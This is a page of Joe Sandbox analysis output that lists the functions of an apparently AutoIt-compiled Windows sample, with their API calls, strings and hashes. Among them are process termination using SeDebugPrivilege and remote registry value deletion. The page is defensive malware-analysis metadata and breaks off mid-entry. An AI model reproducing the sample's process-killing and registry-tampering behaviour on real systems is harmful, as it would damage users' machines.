Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
String ID: ?
API String ID: 500310315-1684325040
Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction ID: 27766ea9512fbb8c6ce65794a86d3adf32e9f9aea369e6fb8cff9ffad06900c9
Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction Fuzzy Hash: 6C616C32A4C65286EB60BF21E8405A9B7A4FB447B4FC41136EA0D82795DF3CF581C7A0

Function 00007FF7C0F00B24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

Part of subcall function 00007FF7C0E51CEC: GetCursorPos.USER32 ref: 00007FF7C0E51D1B
Part of subcall function 00007FF7C0E51CEC: ScreenToClient.USER32 ref: 00007FF7C0E51D3A
Part of subcall function 00007FF7C0E51CEC: GetAsyncKeyState.USER32 ref: 00007FF7C0E51D62
Part of subcall function 00007FF7C0E51CEC: GetAsyncKeyState.USER32 ref: 00007FF7C0E51D82

ImageList_DragLeave.COMCTL32 ref: 00007FF7C0F00BA4
ImageList_EndDrag.COMCTL32 ref: 00007FF7C0F00BAA
ReleaseCapture.USER32 ref: 00007FF7C0F00BB0
SetWindowTextW.USER32 ref: 00007FF7C0F00C5E
SendMessageW.USER32 ref: 00007FF7C0F00C73

Strings

@GUI_DRAGFILE, xrefs: 00007FF7C0F00CE0
@GUI_DROPID, xrefs: 00007FF7C0F00C99

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 3721556410-2107944366
Opcode ID: c2c051044bb7c7ddb3348d31f55c8e9a75bf2736cbd24ec39817eaf22698c765
Instruction ID: 3054488203b3187c4c18a1d15c21c4ca265b964f75054d3e0c15cf4131653298
Opcode Fuzzy Hash: c2c051044bb7c7ddb3348d31f55c8e9a75bf2736cbd24ec39817eaf22698c765
Instruction Fuzzy Hash: BF616226A18A5285E700FF61D8805EDB770FB44BA8F901532DE1D937A5DF38F585C3A0

Function 00007FF7C0EEE580 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0ECBE00: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7C0ECBE3B
Part of subcall function 00007FF7C0ECBE00: Process32FirstW.KERNEL32 ref: 00007FF7C0ECBE4B
Part of subcall function 00007FF7C0ECBE00: CloseHandle.KERNEL32 ref: 00007FF7C0ECBF55

OpenProcess.KERNEL32 ref: 00007FF7C0EEE610
GetLastError.KERNEL32 ref: 00007FF7C0EEE622
OpenProcess.KERNEL32 ref: 00007FF7C0EEE65B
TerminateProcess.KERNEL32 ref: 00007FF7C0EEE702
GetLastError.KERNEL32 ref: 00007FF7C0EEE70C
CloseHandle.KERNEL32 ref: 00007FF7C0EEE75A

Strings

SeDebugPrivilege, xrefs: 00007FF7C0EEE633

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction ID: 156fe1d19f377d0a2750b7c1cb288ddfafab2703fef0a6e7104d1ce62fd92471
Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction Fuzzy Hash: E5517E66A5864682FB10FF25D090378BB60FF94BA5F858931D60E87792DF7CF4448BA0

Function 00007FF7C0ECA070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF7C0ECA12F
IsMenu.USER32 ref: 00007FF7C0ECA151
CreatePopupMenu.USER32 ref: 00007FF7C0ECA183
GetMenuItemCount.USER32 ref: 00007FF7C0ECA1DD
InsertMenuItemW.USER32 ref: 00007FF7C0ECA209

Strings

2, xrefs: 00007FF7C0ECA167
P, xrefs: 00007FF7C0ECA0D0

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 2$P
API String ID: 93392585-1110268094
Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction ID: 5f5844d8b627123d86d716c46b36ce98b59f4716273e4abc0a91b86aa59633b8
Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction Fuzzy Hash: 6F51F632A4966289F714BF65E44427DB7A5BB407ECF9C4135CA5D83794CF3AF4818360

Function 00007FF7C0EFE248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7C0EFE32E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7C0EDBDFB), ref: 00007FF7C0EFE346
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7C0EDBDFB), ref: 00007FF7C0EFE360
SendMessageW.USER32 ref: 00007FF7C0EFE38D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7C0EDBDFB), ref: 00007FF7C0EFE3B1
SetWindowPos.USER32 ref: 00007FF7C0EFE3F7

Strings

', xrefs: 00007FF7C0EFE3E2

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$LongMessageSend$Show
String ID: '
API String ID: 257662517-1997036262
Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction ID: 9d7c5aef6648875ca66046ad488800c79d194ccbbddd117bf183e1555c365335
Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction Fuzzy Hash: 53510A32A4964289E364BF65A458A7DB761FB81BA0FD44132CE5E83790DF3CF442C350

Function 00007FF7C0ECAD94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E78E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E78E4F

LoadIconW.USER32 ref: 00007FF7C0ECAE50

Strings

stop, xrefs: 00007FF7C0ECAE1C
warning, xrefs: 00007FF7C0ECAE36
info, xrefs: 00007FF7C0ECADE8
question, xrefs: 00007FF7C0ECAE02
blank, xrefs: 00007FF7C0ECADC9

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: IconLoad_invalid_parameter_noinfo
String ID: blank$info$question$stop$warning
API String ID: 4060274358-404129466
Opcode ID: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction ID: 7b42bae9f2d935e61358697e50677872f8ec9e751cbcdd219dba8ecd6d46ba2e
Opcode Fuzzy Hash: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction Fuzzy Hash: 36217C21A8C79385FA54BF2AA90017AE361AF547E8FC84035DD4DC2395EF7DF88182E0

Function 00007FF7C0ECC5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7C0ECC5DC
LoadStringW.USER32 ref: 00007FF7C0ECC5F2
GetModuleHandleW.KERNEL32 ref: 00007FF7C0ECC5FA
LoadStringW.USER32 ref: 00007FF7C0ECC616
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0ECC649
MessageBoxW.USER32 ref: 00007FF7C0ECC665

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00007FF7C0ECC642

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4051287042-3128320259
Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction ID: 712ca21972eaed21ade891f9249ba7deec89eb11bf192e7c0dbef2c740a48c80
Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction Fuzzy Hash: 9811307161CB8591E725AF20F4447EAA264FB48B58FC05036DA8E82758DF7CE185C790

Function 00007FF7C0F0233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

GetSystemMetrics.USER32 ref: 00007FF7C0F023A5
GetSystemMetrics.USER32 ref: 00007FF7C0F023C4
MoveWindow.USER32 ref: 00007FF7C0F025F9
SendMessageW.USER32 ref: 00007FF7C0F0261A
SendMessageW.USER32 ref: 00007FF7C0F0263E
ShowWindow.USER32 ref: 00007FF7C0F0265E
InvalidateRect.USER32(?,?,?,00000000,?,?,?,00007FF7C0E9AA58), ref: 00007FF7C0F0268B
DefDlgProcW.USER32(?,?,?,00000000,?,?,?,00007FF7C0E9AA58), ref: 00007FF7C0F026B3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction ID: 13cb9d64ae48564f72f01585807eea21aefb40974c3916422ddde7bb7a4435c0
Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction Fuzzy Hash: 71A11436B1C68382EBA8AF259554739B7A0FB44B58F545035DF0A83B90CF3DF89087A0

Function 00007FF7C0EEFCC0 Relevance: 12.2, APIs: 8, Instructions: 246registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EF1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7C0EEFD7B), ref: 00007FF7C0EF1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7C0EEFDAE
RegOpenKeyExW.ADVAPI32 ref: 00007FF7C0EEFE30
RegDeleteValueW.ADVAPI32 ref: 00007FF7C0EEFEC7
RegCloseKey.ADVAPI32 ref: 00007FF7C0EEFF34
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF0041

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Close$BuffCharConnectDeleteOpenRegistryUpperValue
String ID:
API String ID: 50796853-0
Opcode ID: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
Instruction ID: 61912a6a530b065c92f5c668211b317d120811e92a8b717ef02a84006eb52837
Opcode Fuzzy Hash: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
Instruction Fuzzy Hash: 26B18E76B58A5286EB10FF65D0903BCA760FF85BA8F804531DA4E87796CF38E105C7A4

Function 00007FF7C0E7443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF7C0E744CD
ShowWindow.USER32 ref: 00007FF7C0EBA753
ShowWindow.USER32 ref: 00007FF7C0EBA7ED

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction ID: e2543c0d9624685a5ca15c7b0bb6b55a48191a06eaaacf336af4c58fc158d613
Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction Fuzzy Hash: 9251B361E8C95289FB65BF289448339A6919F82B68F9C4131C91E827D5DF7CB484D2E0

Function 00007FF7C0EF90A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF7C0EF90D8
GetDC.USER32 ref: 00007FF7C0EF90E0
GetDeviceCaps.GDI32 ref: 00007FF7C0EF90F1
ReleaseDC.USER32 ref: 00007FF7C0EF90FE
CreateFontW.GDI32 ref: 00007FF7C0EF9195
SendMessageW.USER32 ref: 00007FF7C0EF91AB
MoveWindow.USER32 ref: 00007FF7C0EF91F1
SendMessageW.USER32 ref: 00007FF7C0EF9213

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction ID: cedbf348f78950ca1a8736cf486a6626845ef5ed843ae4e298fcbae6bdb0a3a2
Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction Fuzzy Hash: DB41AE766186818BE724DF21B454B6BBBA0F788BE5F504135EF8A83B54DF3CE4848B40

Function 00007FF7C0E90BBC Relevance: 10.8, APIs: 7, Instructions: 294COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E91001

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction ID: 3fa67a42c8dedec8fdb7004b4045a62f3ff9ad810f6edd1ee82b31c65db9f0b7
Opcode Fuzzy Hash: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction Fuzzy Hash: 84C1D422A5C7828AEB61BF1594402BDEB91BF40BA4FD54135EA4E87395CF3EF440C7A1

Function 00007FF7C0ED09C4 Relevance: 10.7, APIs: 7, Instructions: 248COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32 ref: 00007FF7C0ED0AAF
SafeArrayAccessData.OLEAUT32 ref: 00007FF7C0ED0B05
SafeArrayAccessData.OLEAUT32 ref: 00007FF7C0ED0BEC
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF7C0ED0C13
SafeArrayAccessData.OLEAUT32 ref: 00007FF7C0ED0C24
SafeArrayAccessData.OLEAUT32 ref: 00007FF7C0ED0C92
SafeArrayAccessData.OLEAUT32 ref: 00007FF7C0ED0D07

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
Instruction ID: a08b53ecceecfb9cd98ead642efa148d60c630618c27028ee5f563ff0dcaca02
Opcode Fuzzy Hash: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
Instruction Fuzzy Hash: 91A16A22A58B1285FB14BF65C4943BCA760EB44BA8F9D4532DA0D87795DFBCF481C3A0

Function 00007FF7C0E52100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction ID: 1b307d893c21ebfd07ae2df2f46dfac3218f8e6c6588fe79da72c757cbd0018d
Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction Fuzzy Hash: C2A1B376A0C6C087D774AF19A4006AEFB71FB86BA4F544129DA8953B69CB3CE442CF50

Function 00007FF7C0EFFB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF7C0EFFBED
IsWindowEnabled.USER32 ref: 00007FF7C0EFFBFA
SendMessageW.USER32 ref: 00007FF7C0EFFD22
SendMessageW.USER32 ref: 00007FF7C0EFFE2A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSendWindow$Enabled
String ID:
API String ID: 3694350264-0
Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction ID: 6f95f2607bf45647eb889668d0d4a86f0feced08ba6638947e38772b4ad99d69
Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction Fuzzy Hash: 7A919021E8966A89FB74BE15D4543B9E391AF84BB4FD44032CA4D837A5CF3DF49183A0

Function 00007FF7C0EC9034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF7C0EC9089
GetKeyboardState.USER32 ref: 00007FF7C0EC909D
SetKeyboardState.USER32 ref: 00007FF7C0EC90EC
PostMessageW.USER32 ref: 00007FF7C0EC9122
PostMessageW.USER32 ref: 00007FF7C0EC9147
PostMessageW.USER32 ref: 00007FF7C0EC9190
PostMessageW.USER32 ref: 00007FF7C0EC91B9

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
